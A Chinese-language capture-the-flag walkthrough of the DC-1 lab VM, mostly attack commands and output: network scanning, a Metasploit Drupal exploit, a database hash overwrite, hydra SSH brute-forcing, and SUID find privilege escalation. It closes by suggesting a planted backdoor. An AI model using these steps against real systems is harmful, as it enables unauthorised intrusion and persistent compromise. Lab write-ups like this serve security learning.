一个初级靶机，共有5个flag，最终获取root权限
- 下载地址：点击
下载mirror,解压后导入虚拟机。
- nmap使用参考
- 虚拟机，两个使用NAT模式(kali & DC-1)
- 扫描存活主机
扫描端口和服务，信息收集arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:2966:56, IPv4: 192.168.198.136
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.198.2 00:50:56:e5:17:9b VMware, Inc.
192.168.198.145 00:0c:29:41:84:bd VMware, Inc.
192.168.198.254 00:50:56:e8:30:34 VMware, Inc.
- 扫描服务
namp -sP 192.168.198.0/24 #扫描主机，没有端口于arp命令相似
- 端口扫描服务(masscan & namp)
masscan --rate=6666（根据电脑性能） -p 1-65535 192.168.198.145
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-06-10 11:41:57 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 192.168.198.145
Discovered open port 111/tcp on 192.168.198.145
Discovered open port 22/tcp on 192.168.198.145
Discovered open port 52355/tcp on 192.168.198.145
- nmap
namp -T4 -sV -p22,80,111 -A
(-T4 速度较快)
nmap -A 192.168.198.145(显示较全)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-10 14:37 CST
Nmap scan report for 192.168.198.145
Host is up (0.00040s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
|http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 48278/udp status
| 100024 1 51709/udp6 status
| 100024 1 54679/tcp6 status
| 100024 1 57241/tcp status
MAC Address: 00:0C:29:41:84:BD (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- 通常要做信息收集，不能ssh爆破，（练习就别了，实际上可以试一试）所以访问80端口
- 看到CMS（内容管理系统）为drupal(使用php语言编写的内容管理框架，CMS+开发框架)
- 推荐火狐插件 Wappalyzer
- CMS – drupal 7 PHP 可能存在sql注入等
- 漏洞库：exploit-db查询漏洞
- Kali自带漏洞库，searchspolit命令查询
- msfconsole综合渗透工具
msfconsole 进入交互
search drupal #查找漏洞
use 1 #模块使用（一个不行就试另一个）
info #查看信息
show option
set rhosts#改变设置
exploit #漏洞利用
成功后就会在本地映射，可执行命令
shell #可执行命令
- 进入交互
python -c 'import pty;pty.spawn("/bin/bash")'
- 得到第一个flag
cat flag1.txt Every good CMS needs a config file - and so do you后台权限获取（根据提示下一步）
- 找配置文件，对可能有配置文件的地方遍历
- 在 site 目录下，default下，settings下配置文件，得到第二个flag以及有用信息
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
- 根据用户名和密码登录网站后台
mysql -udbuser -p R0ck3t
- 执行sql语句获取信息
use drupaldb show tables; select * from drupaldb.users #查询admin用户到密码 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR #加密方式很特殊，于是上官网查寻方法，并且想办法破解或者改密码 #密码丢失可该，自定义 /var/www目录下 ./scripts/password-hash.sh newpwd UPDATE users SET pass='$S$DfuemILtUY4XwR0buFQ51Us3DZuwPY64UGL.jfKRYYtIcu5/6WfG' WHERe uid=1; #最好大写，尝试几次小写错误
- 根据用户名密码访问 url/admin 得到后台数据
- 目录遍历，找到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.获取主机权限
- cat /etc/passwd #目录下有用户信息
- flag4用户，爆破
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
- ssh破解,参考文章
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.198.145 [22][ssh] host: 192.168.198.145 login: flag4 password: orange
- 获得用户密码,ssh连接
ssh flag4@#在连接中输入密码 #获得flag4 Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?
- 提权，根据flag3,flag4,不能爆破，find命令提权
#find命令具有特殊权限
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
# s 代表 SUID位，也称冒险位,执行程序时不是以普通用户身份执行，而是以命令真正的主人身份执行（root）
find -name flag* -exec ls -l {} ; # ``转义 exec执行命令
find -name flag* -exec /bin/sh #/bin/bash不成功
cd /root
cat thefinalflag.txt: not found
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
- 结束，还可以后渗透截断，留一个后门，当自己的肉鸡
以上都是看b站up 小飞侠Geek边看边做，萌新正在学习中
仅用于学习，请遵守相关法律法规
